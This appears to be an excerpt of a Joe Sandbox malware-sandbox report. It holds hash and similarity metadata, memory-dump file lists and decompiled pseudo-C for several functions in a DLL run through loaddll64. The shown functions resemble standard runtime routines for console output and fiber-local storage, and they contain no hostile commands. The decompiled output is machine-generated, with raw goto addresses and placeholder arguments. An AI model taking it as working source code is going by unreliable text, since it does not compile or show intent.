Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 57e8c6263882d169d07007314577b448fa717f22d551fcd21a9fd8724e606022
Instruction ID: 3a702ed290a9a696b6dc9b91f4a2d0ff6553786c9f76564bcca2edd8d93e0881
Opcode Fuzzy Hash: 57e8c6263882d169d07007314577b448fa717f22d551fcd21a9fd8724e606022
Instruction Fuzzy Hash: 97112C30E0D7474AFA5C5722695E27A69525FC4FA0F268A34D87F06BFAEE2CB4416300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EB9A8 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FFE354EB9B9
FlsSetValue.KERNEL32 ref: 00007FFE354EB9D8
FlsSetValue.KERNEL32 ref: 00007FFE354EBA00
FlsSetValue.KERNEL32 ref: 00007FFE354EBA11
FlsSetValue.KERNEL32 ref: 00007FFE354EBA22

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 210bbf59f21d8c1aaa94cd5aecfdcc31976e6e74a34733d271c34024d620d784
Instruction ID: 8966452ed88ace2bad64d0b88d935233ebb31a5060e0c105ae5e637aee5e329e
Opcode Fuzzy Hash: 210bbf59f21d8c1aaa94cd5aecfdcc31976e6e74a34733d271c34024d620d784
Instruction Fuzzy Hash: 5311EC30E4A70746FE6C6632585E27A19425FC5F60F264B38E93F0A7F2ED2CB441B205

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F0958 Relevance: 6.3, APIs: 4, Instructions: 305
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00007FFE7FFE354F0958(void* __ecx, signed int __edx, void* __esi, void* __ebp, void* __esp, long long __rbx, intOrPtr* __rcx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t181;
				signed int _t186;
				signed int _t193;
				signed int _t198;
				void* _t212;
				signed char _t213;
				void* _t263;
				signed long long _t264;
				signed long long _t267;
				long long _t269;
				signed long long _t271;
				long long _t276;
				long long _t278;
				long long _t280;
				intOrPtr* _t289;
				intOrPtr _t294;
				long long _t295;
				long long _t318;
				void* _t326;
				long long _t327;
				void* _t328;
				long long _t329;
				long long _t331;
				signed char* _t332;
				signed char* _t333;
				signed char* _t334;
				intOrPtr* _t335;
				void* _t336;
				void* _t337;
				signed long long _t338;
				intOrPtr _t341;
				signed long long _t343;
				void* _t345;
				intOrPtr* _t347;
				intOrPtr _t351;
				signed long long _t356;
				signed long long _t359;
				signed long long _t361;
				void* _t364;
				long long _t365;
				long long _t367;
				char _t368;
				void* _t372;
				signed char* _t373;
				signed long long _t375;

				_t263 = _t337;
				_t336 = _t263 - 0x57;
				_t338 = _t337 - 0xe0;
				 *((long long*)(_t336 - 9)) = 0xfffffffe;
				 *((long long*)(_t263 + 8)) = __rbx;
				_t264 =  *0x3555e008; // 0x393f49ce3de2
				 *(_t336 + 0x17) = _t264 ^ _t338;
				 *((long long*)(_t336 - 0x49)) = __r8;
				_t289 = __rcx;
				_t367 =  *((intOrPtr*)(_t336 + 0x7f));
				 *((long long*)(_t336 - 0x51)) = _t367;
				 *(_t336 - 0x19) = __edx;
				_t267 = __edx >> 6;
				 *(_t336 - 0x59) = _t267;
				 *(_t336 - 0x11) = __edx;
				_t375 = __edx + __edx * 8;
				_t269 =  *((intOrPtr*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t267 * 8)) + 0x28 + _t375 * 8));
				 *((long long*)(_t336 - 0x29)) = _t269;
				r12d = r9d;
				_t365 = _t364 + __r8;
				 *((long long*)(_t336 - 0x71)) = _t365;
				 *((intOrPtr*)(_t336 - 0x61)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)(_t367 + 0x28)) != dil) goto 0x354f09f8;
				0x354e9140();
				_t294 =  *((intOrPtr*)(_t367 + 0x18));
				r8d =  *(_t294 + 0xc);
				 *(_t336 - 0x5d) = r8d;
				 *((long long*)(__rcx)) = _t269;
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if ( *((intOrPtr*)(_t336 - 0x49)) - _t365 >= 0) goto 0x354f0db8;
				_t271 = __edx >> 6;
				 *(_t336 - 0x21) = _t271;
				 *((char*)(_t338 + 0x40)) =  *((intOrPtr*)(__r8));
				 *((intOrPtr*)(_t336 - 0x7d)) = 0;
				r12d = 1;
				if (r8d != 0xfde9) goto 0x354f0bc0;
				_t347 = 0x3e + _t375 * 8 +  *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t271 * 8));
				if ( *_t347 == dil) goto 0x354f0a74;
				_t372 = _t329 + 1;
				if (_t372 - 5 < 0) goto 0x354f0a61;
				if (_t372 == 0) goto 0x354f0b52;
				r12d =  *((char*)(_t294 + 0x7ffe3555e8f0));
				r12d = r12d + 1;
				_t181 = r12d - 1;
				 *((intOrPtr*)(_t336 - 0x69)) = _t181;
				_t341 = _t181;
				if (_t341 -  *((intOrPtr*)(_t336 - 0x71)) - __r8 > 0) goto 0x354f0d27;
				_t295 = _t329;
				 *((char*)(_t336 + _t295 - 1)) =  *_t347;
				if (_t295 + 1 - _t372 < 0) goto 0x354f0ab9;
				if (_t341 <= 0) goto 0x354f0aea;
				E00007FFE7FFE354E64D0( *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 +  *(_t336 - 0x59) * 8)) + 0x3e + _t375 * 8) & 0x000000ff, 0, __esi, __esp, _t336 - 1 + _t372, __r8, _t329, __r8, _t341);
				_t318 = _t329;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 +  *(_t336 - 0x59) * 8)) + _t318 + 0x3e + _t375 * 8)) = dil;
				if (_t318 + 1 - _t372 < 0) goto 0x354f0aed;
				 *((long long*)(_t336 - 0x41)) = _t329;
				_t276 = _t336 - 1;
				 *((long long*)(_t336 - 0x39)) = _t276;
				_t186 = (0 | r12d == 0x00000004) + 1;
				r12d = _t186;
				r8d = _t186;
				 *((long long*)(_t338 + 0x20)) = _t367;
				E00007FFE7FFE354F1744(_t276, _t289, _t336 - 0x7d, _t336 - 0x39, _t341, _t336 - 0x41);
				if (_t276 == 0xffffffff) goto 0x354f0db8;
				_t331 = __r8 +  *((intOrPtr*)(_t336 - 0x69)) - 1;
				goto 0x354f0c55;
				_t368 =  *((char*)(_t276 + 0x7ffe3555e8f0));
				_t212 = _t368 + 1;
				_t343 =  *((intOrPtr*)(_t336 - 0x71)) - _t331;
				if (_t212 - _t343 > 0) goto 0x354f0d55;
				 *((long long*)(_t336 - 0x69)) = _t329;
				 *((long long*)(_t336 - 0x31)) = _t331;
				_t193 = (0 | _t212 == 0x00000004) + 1;
				r14d = _t193;
				r8d = _t193;
				_t278 =  *((intOrPtr*)(_t336 - 0x51));
				 *((long long*)(_t338 + 0x20)) = _t278;
				E00007FFE7FFE354F1744(_t278, _t289, _t336 - 0x7d, _t336 - 0x31, _t343, _t336 - 0x69);
				if (_t278 == 0xffffffff) goto 0x354f0db8;
				_t332 = _t331 + _t368;
				r12d = r14d;
				goto 0x354f0c55;
				_t359 =  *(_t336 - 0x59);
				_t351 =  *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t359 * 8));
				_t213 =  *(_t351 + 0x3d + _t375 * 8);
				if ((_t213 & 0x00000004) == 0) goto 0x354f0bf7;
				 *((char*)(_t336 + 7)) =  *((intOrPtr*)(_t351 + 0x3e + _t375 * 8));
				 *((char*)(_t336 + 8)) =  *_t332;
				 *(_t351 + 0x3d + _t375 * 8) = _t213 & 0x000000fb;
				r8d = 2;
				goto 0x354f0c40;
				r8d =  *_t332 & 0x000000ff;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t336 - 0x51)) + 0x18)))) + _t343 * 2)) >= 0) goto 0x354f0c3a;
				_t373 =  &(_t332[1]);
				if (_t373 -  *((intOrPtr*)(_t336 - 0x71)) >= 0) goto 0x354f0d93;
				r8d = 2;
				if (E00007FFE7FFE354EE960(_t213 & 0x000000fb, __ebp, _t289, _t336 - 0x7d, _t332, _t329, _t332, _t336, _t343,  *((intOrPtr*)(_t336 - 0x51))) == 0xffffffff) goto 0x354f0db8;
				_t333 = _t373;
				goto 0x354f0c55;
				_t198 = E00007FFE7FFE354EE960(_t213 & 0x000000fb, __ebp, _t289, _t336 - 0x7d, _t333, _t329, _t333, _t336, _t365,  *((intOrPtr*)(_t336 - 0x51)));
				if (_t198 == 0xffffffff) goto 0x354f0db8;
				_t334 =  &(_t333[1]);
				 *((long long*)(_t338 + 0x38)) = _t329;
				 *((long long*)(_t338 + 0x30)) = _t329;
				 *((intOrPtr*)(_t338 + 0x28)) = 5;
				_t280 = _t336 + 0xf;
				 *((long long*)(_t338 + 0x20)) = _t280;
				r9d = r12d;
				_t345 = _t336 - 0x7d;
				E00007FFE7FFE354ED698();
				r14d = _t198;
				if (_t198 == 0) goto 0x354f0db8;
				 *((long long*)(_t338 + 0x20)) = _t329;
				r8d = _t198;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x354f0db0;
				 *((intOrPtr*)(_t289 + 4)) = __esi -  *((intOrPtr*)(_t336 - 0x49)) +  *((intOrPtr*)(_t289 + 8));
				if ( *((intOrPtr*)(_t336 - 0x79)) - r14d < 0) goto 0x354f0db8;
				if ( *((char*)(_t338 + 0x40)) != 0xa) goto 0x354f0d10;
				 *((short*)(_t338 + 0x40)) = 0xd;
				 *((long long*)(_t338 + 0x20)) = _t329;
				_t128 = _t280 - 0xc; // 0x1
				r8d = _t128;
				_t326 = _t338 + 0x40;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x354f0db0;
				if ( *((intOrPtr*)(_t336 - 0x79)) - 1 < 0) goto 0x354f0db8;
				 *((intOrPtr*)(_t289 + 8)) =  *((intOrPtr*)(_t289 + 8)) + 1;
				 *((intOrPtr*)(_t289 + 4)) =  *((intOrPtr*)(_t289 + 4)) + 1;
				if (_t334 -  *((intOrPtr*)(_t336 - 0x71)) >= 0) goto 0x354f0db8;
				r8d =  *(_t336 - 0x5d);
				goto 0x354f0a23;
				if (_t326 <= 0) goto 0x354f0d50;
				_t335 = _t334 - _t373;
				 *((char*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t359 * 8)) + _t373 + 0x3e + _t375 * 8)) =  *((intOrPtr*)(_t335 + _t373));
				if (1 - _t326 < 0) goto 0x354f0d2f;
				 *((intOrPtr*)(_t289 + 4)) =  *((intOrPtr*)(_t289 + 4)) +  *((intOrPtr*)(_t289 + 4));
				goto 0x354f0db8;
				if (_t345 <= 0) goto 0x354f0d8d;
				_t327 = _t329;
				_t361 =  *(_t336 - 0x19) >> 6;
				_t356 =  *(_t336 - 0x11) +  *(_t336 - 0x11) * 8;
				 *((char*)( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t361 * 8)) + _t356 * 8 + _t327 + 0x3e)) =  *((intOrPtr*)(_t327 + _t335));
				_t328 = _t327 + 1;
				if (2 - _t345 < 0) goto 0x354f0d6d;
				 *((intOrPtr*)(_t289 + 4)) =  *((intOrPtr*)(_t289 + 4)) + r8d;
				goto 0x354f0db8;
				 *((char*)(_t356 + 0x3e + _t375 * 8)) =  *_t335;
				 *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t361 * 8)) + 0x3d + _t375 * 8) =  *( *((intOrPtr*)(0x7ffe354e0000 + 0x7f940 + _t361 * 8)) + 0x3d + _t375 * 8) | 0x00000004;
				_t174 = _t328 + 1; // 0x1
				 *((intOrPtr*)(_t289 + 4)) = _t174;
				goto 0x354f0db8;
				 *_t289 = GetLastError();
				return E00007FFE7FFE354E3A70(_t206,  *((intOrPtr*)(_t336 - 0x61)),  *((intOrPtr*)(_t289 + 4)),  *(_t336 + 0x17) ^ _t338);
			}

0x7ffe354f0958
0x7ffe354f0966
0x7ffe354f096a
0x7ffe354f0971
0x7ffe354f0979
0x7ffe354f097d
0x7ffe354f0987
0x7ffe354f098e
0x7ffe354f0995
0x7ffe354f0998
0x7ffe354f099c
0x7ffe354f09a3
0x7ffe354f09aa
0x7ffe354f09ae
0x7ffe354f09bc
0x7ffe354f09c0
0x7ffe354f09cc
0x7ffe354f09d1
0x7ffe354f09d5
0x7ffe354f09d8
0x7ffe354f09db
0x7ffe354f09e5
0x7ffe354f09ee
0x7ffe354f09f3
0x7ffe354f09f8
0x7ffe354f09fc
0x7ffe354f0a00
0x7ffe354f0a06
0x7ffe354f0a09
0x7ffe354f0a10
0x7ffe354f0a19
0x7ffe354f0a1d
0x7ffe354f0a25
0x7ffe354f0a29
0x7ffe354f0a2c
0x7ffe354f0a40
0x7ffe354f0a5b
0x7ffe354f0a64
0x7ffe354f0a68
0x7ffe354f0a72
0x7ffe354f0a77
0x7ffe354f0a8f
0x7ffe354f0a98
0x7ffe354f0a9e
0x7ffe354f0aa0
0x7ffe354f0aaa
0x7ffe354f0ab0
0x7ffe354f0ab6
0x7ffe354f0abc
0x7ffe354f0ac9
0x7ffe354f0ace
0x7ffe354f0ada
0x7ffe354f0aea
0x7ffe354f0af8
0x7ffe354f0b03
0x7ffe354f0b05
0x7ffe354f0b09
0x7ffe354f0b0d
0x7ffe354f0b1a
0x7ffe354f0b1c
0x7ffe354f0b1f
0x7ffe354f0b22
0x7ffe354f0b33
0x7ffe354f0b3c
0x7ffe354f0b4a
0x7ffe354f0b4d
0x7ffe354f0b55
0x7ffe354f0b5e
0x7ffe354f0b66
0x7ffe354f0b6f
0x7ffe354f0b75
0x7ffe354f0b79
0x7ffe354f0b85
0x7ffe354f0b87
0x7ffe354f0b8a
0x7ffe354f0b8d
0x7ffe354f0b91
0x7ffe354f0ba2
0x7ffe354f0bab
0x7ffe354f0bb1
0x7ffe354f0bb4
0x7ffe354f0bbb
0x7ffe354f0bc0
0x7ffe354f0bc4
0x7ffe354f0bcc
0x7ffe354f0bd4
0x7ffe354f0bdb
0x7ffe354f0be0
0x7ffe354f0be6
0x7ffe354f0beb
0x7ffe354f0bf5
0x7ffe354f0bf7
0x7ffe354f0c07
0x7ffe354f0c09
0x7ffe354f0c11
0x7ffe354f0c1a
0x7ffe354f0c2f
0x7ffe354f0c35
0x7ffe354f0c38
0x7ffe354f0c47
0x7ffe354f0c4f
0x7ffe354f0c55
0x7ffe354f0c58
0x7ffe354f0c5d
0x7ffe354f0c62
0x7ffe354f0c6a
0x7ffe354f0c6e
0x7ffe354f0c73
0x7ffe354f0c76
0x7ffe354f0c7f
0x7ffe354f0c84
0x7ffe354f0c89
0x7ffe354f0c8f
0x7ffe354f0c98
0x7ffe354f0cae
0x7ffe354f0cbc
0x7ffe354f0cc3
0x7ffe354f0cce
0x7ffe354f0cd5
0x7ffe354f0cda
0x7ffe354f0ce3
0x7ffe354f0ce3
0x7ffe354f0ce7
0x7ffe354f0cf7
0x7ffe354f0d01
0x7ffe354f0d07
0x7ffe354f0d0a
0x7ffe354f0d14
0x7ffe354f0d1e
0x7ffe354f0d22
0x7ffe354f0d2a
0x7ffe354f0d2c
0x7ffe354f0d3e
0x7ffe354f0d4e
0x7ffe354f0d50
0x7ffe354f0d53
0x7ffe354f0d58
0x7ffe354f0d5a
0x7ffe354f0d61
0x7ffe354f0d69
0x7ffe354f0d7c
0x7ffe354f0d82
0x7ffe354f0d8b
0x7ffe354f0d8d
0x7ffe354f0d91
0x7ffe354f0d95
0x7ffe354f0da2
0x7ffe354f0da8
0x7ffe354f0dab
0x7ffe354f0dae
0x7ffe354f0db6
0x7ffe354f0de1

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFE354F09DF
WriteFile.KERNEL32 ref: 00007FFE354F0CA6
WriteFile.KERNEL32 ref: 00007FFE354F0CEF
GetLastError.KERNEL32 ref: 00007FFE354F0DB0

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: d78e05eaa4b6556e9331e54f8ea1fb34517351267b85fce0062fd028625cc37f
Instruction ID: 1bdfe726e7952d9c14be3ba3ec23ff836597984db88fdb3c43b3a854655888a9
Opcode Fuzzy Hash: d78e05eaa4b6556e9331e54f8ea1fb34517351267b85fce0062fd028625cc37f
Instruction Fuzzy Hash: 0DD1E036B08B8289EB55CF79D4442AC3BB1FB94F98B154231CE5E57BA9CE38E406D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F129C Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FFE7FFE354F129C(void* __ebx, signed int __ecx, void* __ebp, void* __esp, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10) {
				signed short _v80;
				void* _v92;
				signed int _v96;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				signed int _v120;
				long long _v128;
				signed int _v136;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t107;
				long _t116;
				signed int _t117;
				void* _t122;
				signed int _t128;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t169;
				signed long long _t182;
				signed long long _t186;
				signed long long _t189;
				signed long long _t208;
				signed int _t209;
				void* _t210;
				void* _t212;
				void* _t228;
				signed long long _t229;
				signed short* _t230;
				void* _t231;
				signed short* _t232;

				_t122 = __ebx;
				r15d = r8d;
				_t186 = __r9;
				_t230 = __rdx;
				if (r8d == 0) goto 0x354f1599;
				if (__rdx != 0) goto 0x354f1303;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v128 = __r9;
				_v136 = _t209;
				E00007FFE7FFE354E9674(__rax, __r9, __rcx, __rdx, _t210, _t212, __r8);
				goto 0x354f159b;
				_t189 = __ecx >> 6;
				_v120 = _t189;
				_t229 = __ecx + __ecx * 8;
				if (_t210 - 1 - 1 > 0) goto 0x354f1339;
				if (( !r15d & 0x00000001) == 0) goto 0x354f12cc;
				if (( *( *((intOrPtr*)(0x3555f940 + _t189 * 8)) + 0x38 + _t229 * 8) & 0x00000020) == 0) goto 0x354f134f;
				r8d = 0x7ffe3555f942;
				E00007FFE7FFE354F1E38(r12d);
				_v96 = _t209;
				if (E00007FFE7FFE354F16A0(r12d, __ecx) == 0) goto 0x354f1485;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x3555f940 + _v120 * 8)) + 0x38 + _t229 * 8)) - dil >= 0) goto 0x354f1485;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0x354f1396;
				0x354e9140();
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t209) goto 0x354f13b2;
				_t182 =  *((intOrPtr*)(0x3555f940 + _v120 * 8));
				if ( *((intOrPtr*)(_t182 + 0x39 + _t229 * 8)) == dil) goto 0x354f1485;
				if (GetConsoleMode(??, ??) == 0) goto 0x354f147a;
				if (sil == 0) goto 0x354f1457;
				sil = sil - 1;
				if (sil - 1 > 0) goto 0x354f151e;
				_t228 = _t230 + _t231;
				_v112 = _t209;
				_t232 = _t230;
				if (_t230 - _t228 >= 0) goto 0x354f1514;
				_v80 =  *_t232 & 0x0000ffff;
				_t107 = E00007FFE7FFE354F1E40( *_t232 & 0xffff);
				_t128 = _v80 & 0x0000ffff;
				if (_t107 != _t128) goto 0x354f1449;
				_t146 = _v108 + 2;
				_v108 = _t146;
				if (_t128 != 0xa) goto 0x354f143a;
				if (E00007FFE7FFE354F1E40(0xd) != 0xd) goto 0x354f1449;
				_t147 = _t146 + 1;
				_v108 = _t147;
				if ( &(_t232[1]) - _t228 >= 0) goto 0x354f1514;
				goto 0x354f13fa;
				_v112 = GetLastError();
				goto 0x354f1514;
				r9d = r15d;
				_v136 = __r9;
				E00007FFE7FFE354F0958(0xd, r12d, _t147, __ebp, __esp, __r9,  &_v112, _t230);
				asm("movsd xmm0, [eax]");
				goto 0x354f1519;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x3555f940 + _v120 * 8)) + 0x38 + _t229 * 8)) - dil >= 0) goto 0x354f14e1;
				_t169 = sil;
				if (_t169 == 0) goto 0x354f14cd;
				if (_t169 == 0) goto 0x354f14b9;
				if (_t147 - 1 != 1) goto 0x354f1529;
				r9d = r15d;
				E00007FFE7FFE354F0EE8(_t122, r12d, _t182, _t186,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r9d = r15d;
				E00007FFE7FFE354F1004(r12d,  *((intOrPtr*)(_t182 + 8)), _t182, _t186,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r9d = r15d;
				E00007FFE7FFE354F0DE4(_t122, r12d, _t182, _t186,  &_v112, _t212, _t230);
				goto 0x354f146e;
				r8d = r15d;
				_v136 = _v136 & _t182;
				_v112 = _t182;
				_v104 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0x354f1511;
				_t116 = GetLastError();
				_v112 = _t116;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				if (_t116 != 0) goto 0x354f1592;
				_t117 = _v96;
				if (_t117 == 0) goto 0x354f1568;
				if (_t117 != 5) goto 0x354f1558;
				 *((char*)(_t186 + 0x30)) = 1;
				 *((intOrPtr*)(_t186 + 0x2c)) = 9;
				 *((char*)(_t186 + 0x38)) = 1;
				 *(_t186 + 0x34) = _t117;
				goto 0x354f12fb;
				_t208 = _t186;
				E00007FFE7FFE354EB3DC(_v96, _t208);
				goto 0x354f12fb;
				if (( *( *((intOrPtr*)(0x3555f940 + _t208 * 8)) + 0x38 + _t229 * 8) & 0x00000040) == 0) goto 0x354f157a;
				if ( *_t230 == 0x1a) goto 0x354f1599;
				 *(_t186 + 0x34) =  *(_t186 + 0x34) & 0x00000000;
				 *((char*)(_t186 + 0x30)) = 1;
				 *((intOrPtr*)(_t186 + 0x2c)) = 0x1c;
				 *((char*)(_t186 + 0x38)) = 1;
				goto 0x354f12fb;
				goto 0x354f159b;
				return 0;
			}

0x7ffe354f129c
0x7ffe354f12b2
0x7ffe354f12b8
0x7ffe354f12bb
0x7ffe354f12c1
0x7ffe354f12ca
0x7ffe354f12cc
0x7ffe354f12d1
0x7ffe354f12d4
0x7ffe354f12da
0x7ffe354f12e1
0x7ffe354f12e9
0x7ffe354f12ec
0x7ffe354f12f1
0x7ffe354f12f6
0x7ffe354f12fe
0x7ffe354f1313
0x7ffe354f1317
0x7ffe354f131b
0x7ffe354f132e
0x7ffe354f1337
0x7ffe354f133f
0x7ffe354f1346
0x7ffe354f134a
0x7ffe354f1352
0x7ffe354f1368
0x7ffe354f1377
0x7ffe354f1381
0x7ffe354f1386
0x7ffe354f13a1
0x7ffe354f13a3
0x7ffe354f13ac
0x7ffe354f13c7
0x7ffe354f13d0
0x7ffe354f13d6
0x7ffe354f13dd
0x7ffe354f13e3
0x7ffe354f13e7
0x7ffe354f13eb
0x7ffe354f13f1
0x7ffe354f1401
0x7ffe354f1405
0x7ffe354f140a
0x7ffe354f1411
0x7ffe354f1413
0x7ffe354f1416
0x7ffe354f141d
0x7ffe354f1431
0x7ffe354f1433
0x7ffe354f1435
0x7ffe354f1441
0x7ffe354f1447
0x7ffe354f144f
0x7ffe354f1452
0x7ffe354f1457
0x7ffe354f145a
0x7ffe354f1469
0x7ffe354f146e
0x7ffe354f1475
0x7ffe354f148e
0x7ffe354f1492
0x7ffe354f1495
0x7ffe354f149a
0x7ffe354f149f
0x7ffe354f14a5
0x7ffe354f14b2
0x7ffe354f14b7
0x7ffe354f14b9
0x7ffe354f14c6
0x7ffe354f14cb
0x7ffe354f14cd
0x7ffe354f14da
0x7ffe354f14df
0x7ffe354f14ec
0x7ffe354f14ef
0x7ffe354f14f7
0x7ffe354f14fb
0x7ffe354f1506
0x7ffe354f1508
0x7ffe354f150e
0x7ffe354f1514
0x7ffe354f1519
0x7ffe354f1533
0x7ffe354f1535
0x7ffe354f153a
0x7ffe354f153f
0x7ffe354f1541
0x7ffe354f1545
0x7ffe354f154c
0x7ffe354f1550
0x7ffe354f1553
0x7ffe354f155b
0x7ffe354f155e
0x7ffe354f1563
0x7ffe354f1572
0x7ffe354f1578
0x7ffe354f157a
0x7ffe354f157e
0x7ffe354f1582
0x7ffe354f1589
0x7ffe354f158d
0x7ffe354f1597
0x7ffe354f15ab

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE354F123C), ref: 00007FFE354F13BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE354F123C), ref: 00007FFE354F1449

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: da2f82535048981fdee2fbb5626fefef0911d61da315dbd697428ec573955214
Instruction ID: e6fb0063158896328d82e0f2afa94a9a6bbd58db0f0c5a430a03ccf80db63772
Opcode Fuzzy Hash: da2f82535048981fdee2fbb5626fefef0911d61da315dbd697428ec573955214
Instruction Fuzzy Hash: 3991DD72A18B9385FB588B69C4482BD2FA0BF44F99F452136DE0F577A4CE38E481A710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1CE0 Relevance: 6.1, APIs: 4, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 47%

			E00007FFE7FFE354E1CE0(void* __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				long long _v24;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr _t62;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if ((E00007FFE7FFE354E2250(__rax, _a8, _a16) & 0x000000ff) == 0) goto 0x354e1d3a;
				E00007FFE7FFE354E18F0(__rax, _a8);
				_t48 = _a16 - __rax;
				E00007FFE7FFE354E1DF0(_t48, _a8, _a8, _t48, _a24);
				goto 0x354e1de7;
				E00007FFE7FFE354E2170(_t48, _a8);
				_t62 =  *0x3555a228; // 0xffffffffffffffff
				_t50 = _t62 -  *_t48;
				if (_t50 - _a24 > 0) goto 0x354e1d65;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t50, _a8);
				_t52 =  *_t50 + _a24;
				_v24 = _t52;
				if (_a24 <= 0) goto 0x354e1de2;
				r8d = 0;
				if ((E00007FFE7FFE354E22B0(_t52, _a8, _v24) & 0x000000ff) == 0) goto 0x354e1de2;
				E00007FFE7FFE354E18F0(_t52, _a8);
				_v16 = _t52;
				E00007FFE7FFE354E2170(_t52, _a8);
				E00007FFE7FFE354E11E0(_v16 +  *_t52, _a16, _a24);
				return E00007FFE7FFE354E23A0(_v16 +  *_t52, _a8, _v24);
			}

0x7ffe354e1ce0
0x7ffe354e1ce5
0x7ffe354e1cea
